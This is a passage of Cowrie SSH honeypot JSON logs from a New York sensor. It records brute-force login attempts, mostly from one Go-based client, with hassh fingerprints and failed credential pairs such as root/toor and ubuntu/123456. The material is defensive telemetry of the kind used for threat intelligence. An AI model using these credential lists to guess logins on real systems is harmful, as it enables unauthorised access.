m@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:00.593801Z","src_ip":"192.109.200.78","session":"361fc8efb333","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hzx","password":"hzx","message":"login attempt [hzx/hzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:00.844922Z","src_ip":"192.109.200.78","session":"361fc8efb333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:01.930707Z","src_ip":"192.109.200.78","session":"361fc8efb333","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42948,"dst_ip":"10.17.0.5","dst_port":22,"session":"0367bff43aad","protocol":"ssh","message":"New connection: 192.109.200.78:42948 (10.17.0.5:22) [session: 0367bff43aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:04.590893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:04.596619Z","src_ip":"192.109.200.78","session":"0367bff43aad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:05.024666Z","src_ip":"192.109.200.78","session":"0367bff43aad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terraria","password":"123456","message":"login attempt [terraria/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:05.279589Z","src_ip":"192.109.200.78","session":"0367bff43aad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:06.364850Z","src_ip":"192.109.200.78","session":"0367bff43aad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46794,"dst_ip":"10.17.0.5","dst_port":22,"session":"5db9df1156aa","protocol":"ssh","message":"New connection: 192.109.200.78:46794 (10.17.0.5:22) [session: 5db9df1156aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:08.752137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:08.756951Z","src_ip":"192.109.200.78","session":"5db9df1156aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:08.905114Z","src_ip":"192.109.200.78","session":"5db9df1156aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:09.154593Z","src_ip":"192.109.200.78","session":"5db9df1156aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:10.239987Z","src_ip":"192.109.200.78","session":"5db9df1156aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46808,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c7cdf3a77d9","protocol":"ssh","message":"New connection: 192.109.200.78:46808 (10.17.0.5:22) [session: 2c7cdf3a77d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:13.036255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:13.041017Z","src_ip":"192.109.200.78","session":"2c7cdf3a77d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:13.425582Z","src_ip":"192.109.200.78","session":"2c7cdf3a77d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:13.967573Z","src_ip":"192.109.200.78","session":"2c7cdf3a77d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:15.091517Z","src_ip":"192.109.200.78","session":"2c7cdf3a77d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46822,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9744a49949e","protocol":"ssh","message":"New connection: 192.109.200.78:46822 (10.17.0.5:22) [session: c9744a49949e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:17.126406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:17.131524Z","src_ip":"192.109.200.78","session":"c9744a49949e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:17.218042Z","src_ip":"192.109.200.78","session":"c9744a49949e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omid","password":"omid","message":"login attempt [omid/omid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:17.654089Z","src_ip":"192.109.200.78","session":"c9744a49949e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:18.739909Z","src_ip":"192.109.200.78","session":"c9744a49949e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42744,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a7bcbce5d2a","protocol":"ssh","message":"New connection: 192.109.200.78:42744 (10.17.0.5:22) [session: 7a7bcbce5d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:21.295605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:21.300370Z","src_ip":"192.109.200.78","session":"7a7bcbce5d2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:21.388593Z","src_ip":"192.109.200.78","session":"7a7bcbce5d2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:21.639628Z","src_ip":"192.109.200.78","session":"7a7bcbce5d2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:22.729567Z","src_ip":"192.109.200.78","session":"7a7bcbce5d2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42750,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffbadbf9f6c1","protocol":"ssh","message":"New connection: 192.109.200.78:42750 (10.17.0.5:22) [session: ffbadbf9f6c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:25.550485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:25.555922Z","src_ip":"192.109.200.78","session":"ffbadbf9f6c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:25.644438Z","src_ip":"192.109.200.78","session":"ffbadbf9f6c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48584,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5dfa8801464","protocol":"ssh","message":"New connection: 159.203.92.129:48584 (159.203.135.109:22) [session: e5dfa8801464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:25.721103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:25.726360Z","src_ip":"159.203.92.129","session":"e5dfa8801464","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:25.730846Z","src_ip":"159.203.92.129","session":"e5dfa8801464","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Redmi@123","message":"login attempt [admin/Redmi@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:25.744587Z","src_ip":"159.203.92.129","session":"e5dfa8801464","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:25.912494Z","src_ip":"192.109.200.78","session":"ffbadbf9f6c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:26.775596Z","src_ip":"159.203.92.129","session":"e5dfa8801464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:27.000562Z","src_ip":"192.109.200.78","session":"ffbadbf9f6c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35098,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9c0ad942a31","protocol":"ssh","message":"New connection: 192.109.200.78:35098 (10.17.0.5:22) [session: d9c0ad942a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:29.618863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:29.624165Z","src_ip":"192.109.200.78","session":"d9c0ad942a31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:29.712033Z","src_ip":"192.109.200.78","session":"d9c0ad942a31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:30.100763Z","src_ip":"192.109.200.78","session":"d9c0ad942a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:31.192068Z","src_ip":"192.109.200.78","session":"d9c0ad942a31","protocol":"ssh"}
